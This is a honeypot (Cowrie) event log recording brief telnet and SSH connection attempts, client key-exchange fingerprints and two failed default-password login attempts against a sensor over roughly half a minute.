{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35792,"dst_ip":"159.203.135.109","dst_port":23,"session":"43a7d3e0b24f","protocol":"telnet","message":"New connection: 161.132.53.68:35792 (159.203.135.109:23) [session: 43a7d3e0b24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:40.826293Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51316,"dst_ip":"159.203.135.109","dst_port":23,"session":"a62ba04e3e3b","protocol":"telnet","message":"New connection: 192.119.108.58:51316 (159.203.135.109:23) [session: a62ba04e3e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:41.715865Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35798,"dst_ip":"159.203.135.109","dst_port":23,"session":"60dabe7d2c2f","protocol":"telnet","message":"New connection: 161.132.53.68:35798 (159.203.135.109:23) [session: 60dabe7d2c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:42.565563Z"}
{"eventid":"cowrie.session.closed","duration":30.91982913017273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:43.133040Z","src_ip":"192.119.108.58","session":"8a3322516fc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.147294759750366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:43.514807Z","src_ip":"192.119.108.58","session":"05cbd1077b52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29996395111084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:44.127628Z","src_ip":"192.119.108.58","session":"459291622b08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35808,"dst_ip":"159.203.135.109","dst_port":23,"session":"b21b976c8108","protocol":"telnet","message":"New connection: 161.132.53.68:35808 (159.203.135.109:23) [session: b21b976c8108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:44.844586Z"}
{"eventid":"cowrie.session.closed","duration":31.083838939666748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:45.374019Z","src_ip":"192.119.108.58","session":"e80c68339a9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":52378,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4abcf75ae91","protocol":"telnet","message":"New connection: 192.119.108.58:52378 (159.203.135.109:23) [session: d4abcf75ae91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:46.147939Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":49892,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f1ea3980658","protocol":"ssh","message":"New connection: 114.35.59.237:49892 (10.17.0.5:22) [session: 3f1ea3980658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:47.783082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:47.787629Z","src_ip":"114.35.59.237","session":"3f1ea3980658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:47.994596Z","src_ip":"114.35.59.237","session":"3f1ea3980658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54430,"dst_ip":"159.203.135.109","dst_port":23,"session":"c277a870fe9b","protocol":"telnet","message":"New connection: 192.119.108.58:54430 (159.203.135.109:23) [session: c277a870fe9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:48.787610Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"123qweasd","message":"login attempt [test/123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:48.863440Z","src_ip":"114.35.59.237","session":"3f1ea3980658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.508851051330566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:50.029947Z","src_ip":"192.119.108.58","session":"b0148b8d8abc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:50.075295Z","src_ip":"114.35.59.237","session":"3f1ea3980658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41592,"dst_ip":"159.203.135.109","dst_port":23,"session":"8987295055ee","protocol":"telnet","message":"New connection: 161.132.53.68:41592 (159.203.135.109:23) [session: 8987295055ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:50.369813Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41606,"dst_ip":"159.203.135.109","dst_port":23,"session":"d635f1ab374b","protocol":"telnet","message":"New connection: 161.132.53.68:41606 (159.203.135.109:23) [session: d635f1ab374b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:50.583181Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41620,"dst_ip":"159.203.135.109","dst_port":23,"session":"3123146d63de","protocol":"telnet","message":"New connection: 161.132.53.68:41620 (159.203.135.109:23) [session: 3123146d63de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:50.940378Z"}
{"eventid":"cowrie.session.closed","duration":30.530728578567505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:51.154684Z","src_ip":"192.119.108.58","session":"458ce3e3fb2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54892,"dst_ip":"159.203.135.109","dst_port":23,"session":"43a0a9433b2c","protocol":"telnet","message":"New connection: 192.119.108.58:54892 (159.203.135.109:23) [session: 43a0a9433b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:52.064757Z"}
{"eventid":"cowrie.session.closed","duration":30.614393711090088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:52.274283Z","src_ip":"192.119.108.58","session":"a654518ee9cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574476718902588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:52.278833Z","src_ip":"192.119.108.58","session":"6caf5eebc8c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":55686,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bbfae8f5f55","protocol":"telnet","message":"New connection: 192.119.108.58:55686 (159.203.135.109:23) [session: 0bbfae8f5f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:53.816583Z"}
{"eventid":"cowrie.session.closed","duration":30.470401525497437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:55.092448Z","src_ip":"192.119.108.58","session":"6672d52729af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.299555778503418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:55.183598Z","src_ip":"192.119.108.58","session":"1fc8f757cfc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41630,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb37a10c716d","protocol":"telnet","message":"New connection: 161.132.53.68:41630 (159.203.135.109:23) [session: cb37a10c716d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:55.266112Z"}
{"eventid":"cowrie.session.closed","duration":31.208340644836426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:55.825284Z","src_ip":"192.119.108.58","session":"619b7d72aecd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52634,"dst_ip":"159.203.135.109","dst_port":23,"session":"67bc2aa8cdb5","protocol":"telnet","message":"New connection: 161.132.53.68:52634 (159.203.135.109:23) [session: 67bc2aa8cdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:56.824590Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57812,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fab53ceb01c","protocol":"telnet","message":"New connection: 192.119.108.58:57812 (159.203.135.109:23) [session: 9fab53ceb01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:57.041365Z"}
{"eventid":"cowrie.session.closed","duration":30.501893281936646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:57.259065Z","src_ip":"192.119.108.58","session":"4cebd4f8b4e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.025369882583618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:57.340337Z","src_ip":"192.119.108.58","session":"55f2442382c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61965250968933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:57.372923Z","src_ip":"192.119.108.58","session":"bb991325c229","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50185537338257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:57.416859Z","src_ip":"192.119.108.58","session":"c8bb1aab3dcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871838808059692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:57.811470Z","src_ip":"192.119.108.58","session":"2771925ceda8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52644,"dst_ip":"159.203.135.109","dst_port":23,"session":"4829eda5236c","protocol":"telnet","message":"New connection: 161.132.53.68:52644 (159.203.135.109:23) [session: 4829eda5236c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:58.323581Z"}
{"eventid":"cowrie.session.closed","duration":31.15037178993225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:58.583659Z","src_ip":"192.119.108.58","session":"0eb9c766a43b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52658,"dst_ip":"159.203.135.109","dst_port":23,"session":"323708d1edc2","protocol":"telnet","message":"New connection: 161.132.53.68:52658 (159.203.135.109:23) [session: 323708d1edc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:58.941937Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52674,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c14bfea2264","protocol":"telnet","message":"New connection: 161.132.53.68:52674 (159.203.135.109:23) [session: 1c14bfea2264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:58.997119Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52688,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bfc63939b93","protocol":"telnet","message":"New connection: 161.132.53.68:52688 (159.203.135.109:23) [session: 0bfc63939b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:59.674466Z"}
{"eventid":"cowrie.session.closed","duration":31.56178116798401,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:59.850746Z","src_ip":"192.119.108.58","session":"3771eb5b2a7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52702,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8a2f79aa2ec","protocol":"telnet","message":"New connection: 161.132.53.68:52702 (159.203.135.109:23) [session: c8a2f79aa2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:59.874882Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59506,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffbb845ef24f","protocol":"telnet","message":"New connection: 192.119.108.58:59506 (159.203.135.109:23) [session: ffbb845ef24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:00.217153Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52712,"dst_ip":"159.203.135.109","dst_port":23,"session":"8986e5c46166","protocol":"telnet","message":"New connection: 161.132.53.68:52712 (159.203.135.109:23) [session: 8986e5c46166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:00.931388Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52726,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8401c6c28ff","protocol":"telnet","message":"New connection: 161.132.53.68:52726 (159.203.135.109:23) [session: f8401c6c28ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:02.489453Z"}
{"eventid":"cowrie.session.closed","duration":31.187822341918945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:02.507325Z","src_ip":"192.119.108.58","session":"8401f80f77f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.333025693893433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:02.832791Z","src_ip":"192.119.108.58","session":"e7aee4c71f86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":33606,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5d130beb633","protocol":"ssh","message":"New connection: 124.18.182.99:33606 (10.17.0.5:22) [session: c5d130beb633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:03.034302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:03.040370Z","src_ip":"124.18.182.99","session":"c5d130beb633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:03.223531Z","src_ip":"124.18.182.99","session":"c5d130beb633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234!","message":"login attempt [ubuntu/qwer1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:03.973253Z","src_ip":"124.18.182.99","session":"c5d130beb633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:05.158971Z","src_ip":"124.18.182.99","session":"c5d130beb633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.984769821166992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:06.058543Z","src_ip":"161.132.53.68","session":"1cea4ea3ead2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52740,"dst_ip":"159.203.135.109","dst_port":23,"session":"224b13c7490b","protocol":"telnet","message":"New connection: 161.132.53.68:52740 (159.203.135.109:23) [session: 224b13c7490b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:06.168656Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52752,"dst_ip":"159.203.135.109","dst_port":23,"session":"ada6baee9ee6","protocol":"telnet","message":"New connection: 161.132.53.68:52752 (159.203.135.109:23) [session: ada6baee9ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:06.517338Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52756,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fa615da6551","protocol":"telnet","message":"New connection: 161.132.53.68:52756 (159.203.135.109:23) [session: 3fa615da6551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:06.611793Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47624,"dst_ip":"159.203.135.109","dst_port":23,"session":"27b486b8f3d5","protocol":"telnet","message":"New connection: 161.132.53.68:47624 (159.203.135.109:23) [session: 27b486b8f3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:07.100259Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33088,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f5ae1d9de37","protocol":"telnet","message":"New connection: 192.119.108.58:33088 (159.203.135.109:23) [session: 9f5ae1d9de37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:07.641191Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47636,"dst_ip":"159.203.135.109","dst_port":23,"session":"d905d4787d97","protocol":"telnet","message":"New connection: 161.132.53.68:47636 (159.203.135.109:23) [session: d905d4787d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:07.812828Z"}
{"eventid":"cowrie.session.closed","duration":31.490248680114746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:08.697294Z","src_ip":"161.132.53.68","session":"b330614b78ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35060,"dst_ip":"159.203.135.109","dst_port":23,"session":"83ed5edc0693","protocol":"telnet","message":"New connection: 192.119.108.58:35060 (159.203.135.109:23) [session: 83ed5edc0693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:09.252245Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35234,"dst_ip":"159.203.135.109","dst_port":23,"session":"e23cb678df70","protocol":"telnet","message":"New connection: 192.119.108.58:35234 (159.203.135.109:23) [session: e23cb678df70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:09.653124Z"}
{"eventid":"cowrie.session.closed","duration":31.045350551605225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:09.945847Z","src_ip":"192.119.108.58","session":"008d75048bc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35408,"dst_ip":"159.203.135.109","dst_port":23,"session":"6de37289ff07","protocol":"telnet","message":"New connection: 192.119.108.58:35408 (159.203.135.109:23) [session: 6de37289ff07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:10.077363Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47638,"dst_ip":"159.203.135.109","dst_port":23,"session":"9931891c592e","protocol":"telnet","message":"New connection: 161.132.53.68:47638 (159.203.135.109:23) [session: 9931891c592e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:11.211082Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47646,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c3f9e4e2234","protocol":"telnet","message":"New connection: 161.132.53.68:47646 (159.203.135.109:23) [session: 1c3f9e4e2234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:11.458914Z"}
{"eventid":"cowrie.session.closed","duration":31.14398431777954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:11.970142Z","src_ip":"161.132.53.68","session":"43a7d3e0b24f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30396318435669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:12.003559Z","src_ip":"192.119.108.58","session":"4fac770f5ebe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.338874578475952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:12.054496Z","src_ip":"192.119.108.58","session":"a62ba04e3e3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":47660,"dst_ip":"159.203.135.109","dst_port":23,"session":"20a3babcc132","protocol":"telnet","message":"New connection: 161.132.53.68:47660 (159.203.135.109:23) [session: 20a3babcc132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:12.061918Z"}
{"eventid":"cowrie.session.closed","duration":33.60678815841675,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:19:13.305375Z","src_ip":"161.132.53.68","session":"bd0dd8bbe748","protocol":"telnet"}
